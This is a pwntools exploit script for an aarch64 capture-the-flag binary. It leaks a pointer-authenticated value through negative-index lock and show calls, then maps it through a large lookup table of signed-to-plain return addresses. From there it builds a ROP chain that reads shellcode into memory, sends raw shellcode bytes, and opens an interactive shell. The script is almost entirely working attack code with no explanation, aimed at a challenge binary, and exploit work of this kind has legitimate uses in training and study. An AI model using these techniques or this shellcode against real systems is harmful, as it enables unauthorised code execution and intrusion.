1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
|
from pwn import *
context(arch = 'aarch64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process(["qemu-aarch64", "-cpu", "max", "-L", ".", "./chall"])
def choice(ch):
io.sendlineafter(">> ", str(ch))
def lock(idx):
choice(2)
io.sendlineafter("idx: ", str(idx))
def auth(idx):
choice(4)
io.sendlineafter("idx: ", str(idx))
def show():
choice(3)
name = p64(0x400FF8) + p64(0) + p64(0x10A9FC70042) + p64(0)
io.sendafter("name: ", name)
lock(-2)
show()
io.recvuntil("name: ")
auth_addr = u64(io.recv(8))
success("auth_addr : @"+hex(auth_addr))
lock(-1)
auth(-1)
mapping = { 0x10217c8ccc5af919 : 0x400ff8,
0x10a068a44d5af919 : 0x1000000400ff8,
0x112354ddce5af919 : 0x2000000400ff8,
0x11a240f54f5af919 : 0x3000000400ff8,
0x12252c2ec85af919 : 0x4000000400ff8,
0x12a43806495af919 : 0x5000000400ff8,
0x1327047fca5af919 : 0x6000000400ff8,
0x13a610574b5af919 : 0x7000000400ff8,
0x1429ddc8c45af919 : 0x8000000400ff8,
0x14a8c9e0455af919 : 0x9000000400ff8,
0x152bf599c65af919 : 0xa000000400ff8,
0x15aae1b1475af919 : 0xb000000400ff8,
0x162d8d6ac05af919 : 0xc000000400ff8,
0x16ac9942415af919 : 0xd000000400ff8,
0x172fa53bc25af919 : 0xe000000400ff8,
0x17aeb113435af919 : 0xf000000400ff8,
0x18303e04dc5af919 : 0x10000000400ff8,
0x18b12a2c5d5af919 : 0x11000000400ff8,
0x19321655de5af919 : 0x12000000400ff8,
0x19b3027d5f5af919 : 0x13000000400ff8,
0x1a346ea6d85af919 : 0x14000000400ff8,
0x1ab57a8e595af919 : 0x15000000400ff8,
0x1b3646f7da5af919 : 0x16000000400ff8,
0x1bb752df5b5af919 : 0x17000000400ff8,
0x1c389f40d45af919 : 0x18000000400ff8,
0x1cb98b68555af919 : 0x19000000400ff8,
0x1d3ab711d65af919 : 0x1a000000400ff8,
0x1dbba339575af919 : 0x1b000000400ff8,
0x1e3ccfe2d05af919 : 0x1c000000400ff8,
0x1ebddbca515af919 : 0x1d000000400ff8,
0x1f3ee7b3d25af919 : 0x1e000000400ff8,
0x1fbff39b535af919 : 0x1f000000400ff8,
0x3f99cec5af919 : 0x20000000400ff8,
0x82edb46d5af919 : 0x21000000400ff8,
0x101d1cdee5af919 : 0x22000000400ff8,
0x180c5e56f5af919 : 0x23000000400ff8,
0x207a93ee85af919 : 0x24000000400ff8,
0x286bd16695af919 : 0x25000000400ff8,
0x305816fea5af919 : 0x26000000400ff8,
0x38495476b5af919 : 0x27000000400ff8,
0x40b58d8e45af919 : 0x28000000400ff8,
0x48a4cf0655af919 : 0x29000000400ff8,
0x5097089e65af919 : 0x2a000000400ff8,
0x58864a1675af919 : 0x2b000000400ff8,
0x60f087ae05af919 : 0x2c000000400ff8,
0x68e1c52615af919 : 0x2d000000400ff8,
0x70d202be25af919 : 0x2e000000400ff8,
0x78c3403635af919 : 0x2f000000400ff8,
0x812bb14fc5af919 : 0x30000000400ff8,
0x893af3c7d5af919 : 0x31000000400ff8,
0x9109345fe5af919 : 0x32000000400ff8,
0x991876d7f5af919 : 0x33000000400ff8,
0xa16ebb6f85af919 : 0x34000000400ff8,
0xa97ff9e795af919 : 0x35000000400ff8,
0xb14c3e7fa5af919 : 0x36000000400ff8,
0xb95d7cf7b5af919 : 0x37000000400ff8,
0xc1a1a50f45af919 : 0x38000000400ff8,
0xc9b0e78755af919 : 0x39000000400ff8,
0xd183201f65af919 : 0x3a000000400ff8,
0xd992629775af919 : 0x3b000000400ff8,
0xe1e4af2f05af919 : 0x3c000000400ff8,
0xe9f5eda715af919 : 0x3d000000400ff8,
0xf1c62a3f25af919 : 0x3e000000400ff8,
0xf9d768b735af919 : 0x3f000000400ff8,
0x306476ac8c5af919 : 0x40000000400ff8,
0x30e562840d5af919 : 0x41000000400ff8,
0x31665efd8e5af919 : 0x42000000400ff8,
0x31e74ad50f5af919 : 0x43000000400ff8,
0x3260260e885af919 : 0x44000000400ff8,
0x32e13226095af919 : 0x45000000400ff8,
0x33620e5f8a5af919 : 0x46000000400ff8,
0x33e31a770b5af919 : 0x47000000400ff8,
0x346cd7e8845af919 : 0x48000000400ff8,
0x34edc3c0055af919 : 0x49000000400ff8,
0x356effb9865af919 : 0x4a000000400ff8,
0x35efeb91075af919 : 0x4b000000400ff8,
0x3668874a805af919 : 0x4c000000400ff8,
0x36e99362015af919 : 0x4d000000400ff8,
0x376aaf1b825af919 : 0x4e000000400ff8,
0x37ebbb33035af919 : 0x4f000000400ff8,
0x387534249c5af919 : 0x50000000400ff8,
0x38f4200c1d5af919 : 0x51000000400ff8,
0x39771c759e5af919 : 0x52000000400ff8,
0x39f6085d1f5af919 : 0x53000000400ff8,
0x3a716486985af919 : 0x54000000400ff8,
0x3af070ae195af919 : 0x55000000400ff8,
0x3b734cd79a5af919 : 0x56000000400ff8,
0x3bf258ff1b5af919 : 0x57000000400ff8,
0x3c7d9560945af919 : 0x58000000400ff8,
0x3cfc8148155af919 : 0x59000000400ff8,
0x3d7fbd31965af919 : 0x5a000000400ff8,
0x3dfea919175af919 : 0x5b000000400ff8,
0x3e79c5c2905af919 : 0x5c000000400ff8,
0x3ef8d1ea115af919 : 0x5d000000400ff8,
0x3f7bed93925af919 : 0x5e000000400ff8,
0x3ffaf9bb135af919 : 0x5f000000400ff8,
0x2046f3bcac5af919 : 0x60000000400ff8,
0x20c7e7942d5af919 : 0x61000000400ff8,
0x2144dbedae5af919 : 0x62000000400ff8,
0x21c5cfc52f5af919 : 0x63000000400ff8,
0x2242a31ea85af919 : 0x64000000400ff8,
0x22c3b736295af919 : 0x65000000400ff8,
0x23408b4faa5af919 : 0x66000000400ff8,
0x23c19f672b5af919 : 0x67000000400ff8,
0x244e52f8a45af919 : 0x68000000400ff8,
0x24cf46d0255af919 : 0x69000000400ff8,
0x254c7aa9a65af919 : 0x6a000000400ff8,
0x25cd6e81275af919 : 0x6b000000400ff8,
0x264a025aa05af919 : 0x6c000000400ff8,
0x26cb1672215af919 : 0x6d000000400ff8,
0x27482a0ba25af919 : 0x6e000000400ff8,
0x27c93e23235af919 : 0x6f000000400ff8,
0x2857b134bc5af919 : 0x70000000400ff8,
0x28d6a51c3d5af919 : 0x71000000400ff8,
0x29559965be5af919 : 0x72000000400ff8,
0x29d48d4d3f5af919 : 0x73000000400ff8,
0x2a53e196b85af919 : 0x74000000400ff8,
0x2ad2f5be395af919 : 0x75000000400ff8,
0x2b51c9c7ba5af919 : 0x76000000400ff8,
0x2bd0ddef3b5af919 : 0x77000000400ff8,
0x2c5f1070b45af919 : 0x78000000400ff8,
0x2cde0458355af919 : 0x79000000400ff8,
0x2d5d3821b65af919 : 0x7a000000400ff8,
0x2ddc2c09375af919 : 0x7b000000400ff8,
0x2e5b40d2b05af919 : 0x7c000000400ff8,
0x2eda54fa315af919 : 0x7d000000400ff8,
0x2f596883b25af919 : 0x7e000000400ff8,
0x2fd87cab335af919 : 0x7f000000400ff8,
0x50ab68cc4c5af919 : 0x80000000400ff8,
0x502a7ce4cd5af919 : 0x81000000400ff8,
0x51a9409d4e5af919 : 0x82000000400ff8,
0x512854b5cf5af919 : 0x83000000400ff8,
0x52af386e485af919 : 0x84000000400ff8,
0x522e2c46c95af919 : 0x85000000400ff8,
0x53ad103f4a5af919 : 0x86000000400ff8,
0x532c0417cb5af919 : 0x87000000400ff8,
0x54a3c988445af919 : 0x88000000400ff8,
0x5422dda0c55af919 : 0x89000000400ff8,
0x55a1e1d9465af919 : 0x8a000000400ff8,
0x5520f5f1c75af919 : 0x8b000000400ff8,
0x56a7992a405af919 : 0x8c000000400ff8,
0x56268d02c15af919 : 0x8d000000400ff8,
0x57a5b17b425af919 : 0x8e000000400ff8,
0x5724a553c35af919 : 0x8f000000400ff8,
0x58ba2a445c5af919 : 0x90000000400ff8,
0x583b3e6cdd5af919 : 0x91000000400ff8,
0x59b802155e5af919 : 0x92000000400ff8,
0x5939163ddf5af919 : 0x93000000400ff8,
0x5abe7ae6585af919 : 0x94000000400ff8,
0x5a3f6eced95af919 : 0x95000000400ff8,
0x5bbc52b75a5af919 : 0x96000000400ff8,
0x5b3d469fdb5af919 : 0x97000000400ff8,
0x5cb28b00545af919 : 0x98000000400ff8,
0x5c339f28d55af919 : 0x99000000400ff8,
0x5db0a351565af919 : 0x9a000000400ff8,
0x5d31b779d75af919 : 0x9b000000400ff8,
0x5eb6dba2505af919 : 0x9c000000400ff8,
0x5e37cf8ad15af919 : 0x9d000000400ff8,
0x5fb4f3f3525af919 : 0x9e000000400ff8,
0x5f35e7dbd35af919 : 0x9f000000400ff8,
0x4089eddc6c5af919 : 0xa0000000400ff8,
0x4008f9f4ed5af919 : 0xa1000000400ff8,
0x418bc58d6e5af919 : 0xa2000000400ff8,
0x410ad1a5ef5af919 : 0xa3000000400ff8,
0x428dbd7e685af919 : 0xa4000000400ff8,
0x420ca956e95af919 : 0xa5000000400ff8,
0x438f952f6a5af919 : 0xa6000000400ff8,
0x430e8107eb5af919 : 0xa7000000400ff8,
0x44814c98645af919 : 0xa8000000400ff8,
0x440058b0e55af919 : 0xa9000000400ff8,
0x458364c9665af919 : 0xaa000000400ff8,
0x450270e1e75af919 : 0xab000000400ff8,
0x46851c3a605af919 : 0xac000000400ff8,
0x46040812e15af919 : 0xad000000400ff8,
0x4787346b625af919 : 0xae000000400ff8,
0x47062043e35af919 : 0xaf000000400ff8,
0x4898af547c5af919 : 0xb0000000400ff8,
0x4819bb7cfd5af919 : 0xb1000000400ff8,
0x499a87057e5af919 : 0xb2000000400ff8,
0x491b932dff5af919 : 0xb3000000400ff8,
0x4a9cfff6785af919 : 0xb4000000400ff8,
0x4a1debdef95af919 : 0xb5000000400ff8,
0x4b9ed7a77a5af919 : 0xb6000000400ff8,
0x4b1fc38ffb5af919 : 0xb7000000400ff8,
0x4c900e10745af919 : 0xb8000000400ff8,
0x4c111a38f55af919 : 0xb9000000400ff8,
0x4d922641765af919 : 0xba000000400ff8,
0x4d133269f75af919 : 0xbb000000400ff8,
0x4e945eb2705af919 : 0xbc000000400ff8,
0x4e154a9af15af919 : 0xbd000000400ff8,
0x4f9676e3725af919 : 0xbe000000400ff8,
0x4f1762cbf35af919 : 0xbf000000400ff8,
0x70ee62ec0c5af919 : 0xc0000000400ff8,
0x706f76c48d5af919 : 0xc1000000400ff8,
0x71ec4abd0e5af919 : 0xc2000000400ff8,
0x716d5e958f5af919 : 0xc3000000400ff8,
0x72ea324e085af919 : 0xc4000000400ff8,
0x726b2666895af919 : 0xc5000000400ff8,
0x73e81a1f0a5af919 : 0xc6000000400ff8,
0x73690e378b5af919 : 0xc7000000400ff8,
0x74e6c3a8045af919 : 0xc8000000400ff8,
0x7467d780855af919 : 0xc9000000400ff8,
0x75e4ebf9065af919 : 0xca000000400ff8,
0x7565ffd1875af919 : 0xcb000000400ff8,
0x76e2930a005af919 : 0xcc000000400ff8,
0x76638722815af919 : 0xcd000000400ff8,
0x77e0bb5b025af919 : 0xce000000400ff8,
0x7761af73835af919 : 0xcf000000400ff8,
0x78ff20641c5af919 : 0xd0000000400ff8,
0x787e344c9d5af919 : 0xd1000000400ff8,
0x79fd08351e5af919 : 0xd2000000400ff8,
0x797c1c1d9f5af919 : 0xd3000000400ff8,
0x7afb70c6185af919 : 0xd4000000400ff8,
0x7a7a64ee995af919 : 0xd5000000400ff8,
0x7bf958971a5af919 : 0xd6000000400ff8,
0x7b784cbf9b5af919 : 0xd7000000400ff8,
0x7cf78120145af919 : 0xd8000000400ff8,
0x7c769508955af919 : 0xd9000000400ff8,
0x7df5a971165af919 : 0xda000000400ff8,
0x7d74bd59975af919 : 0xdb000000400ff8,
0x7ef3d182105af919 : 0xdc000000400ff8,
0x7e72c5aa915af919 : 0xdd000000400ff8,
0x7ff1f9d3125af919 : 0xde000000400ff8,
0x7f70edfb935af919 : 0xdf000000400ff8,
0x60cce7fc2c5af919 : 0xe0000000400ff8,
0x604df3d4ad5af919 : 0xe1000000400ff8,
0x61cecfad2e5af919 : 0xe2000000400ff8,
0x614fdb85af5af919 : 0xe3000000400ff8,
0x62c8b75e285af919 : 0xe4000000400ff8,
0x6249a376a95af919 : 0xe5000000400ff8,
0x63ca9f0f2a5af919 : 0xe6000000400ff8,
0x634b8b27ab5af919 : 0xe7000000400ff8,
0x64c446b8245af919 : 0xe8000000400ff8,
0x64455290a55af919 : 0xe9000000400ff8,
0x65c66ee9265af919 : 0xea000000400ff8,
0x65477ac1a75af919 : 0xeb000000400ff8,
0x66c0161a205af919 : 0xec000000400ff8,
0x66410232a15af919 : 0xed000000400ff8,
0x67c23e4b225af919 : 0xee000000400ff8,
0x67432a63a35af919 : 0xef000000400ff8,
0x68dda5743c5af919 : 0xf0000000400ff8,
0x685cb15cbd5af919 : 0xf1000000400ff8,
0x69df8d253e5af919 : 0xf2000000400ff8,
0x695e990dbf5af919 : 0xf3000000400ff8,
0x6ad9f5d6385af919 : 0xf4000000400ff8,
0x6a58e1feb95af919 : 0xf5000000400ff8,
0x6bdbdd873a5af919 : 0xf6000000400ff8,
0x6b5ac9afbb5af919 : 0xf7000000400ff8,
0x6cd50430345af919 : 0xf8000000400ff8,
0x6c541018b55af919 : 0xf9000000400ff8,
0x6dd72c61365af919 : 0xfa000000400ff8,
0x6d563849b75af919 : 0xfb000000400ff8,
0x6ed15492305af919 : 0xfc000000400ff8,
0x6e5040bab15af919 : 0xfd000000400ff8,
0x6fd37cc3325af919 : 0xfe000000400ff8,
0x6f5268ebb35af919 : 0xff000000400ff8,
}
fake_fp = 0x412500 # .bss
sc_addr = 0x412060
read_got = 0x411FD8
rop = 'a'*0x20
success("ret_addr : @"+hex(mapping[auth_addr]))
rop += flat(fake_fp, mapping[auth_addr], # fp0, ret_addr0
# when in 0x400FF8, sp is here
fake_fp, 0x400FD8, # X29, X30
0, 1, # X19, X20
read_got, 0, # X21, X22->X0
sc_addr, 0x100, # X23->X1, X24->X2
fake_fp, sc_addr)
io.sendline(rop)
sc = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
io.sendline(sc)
io.interactive()
|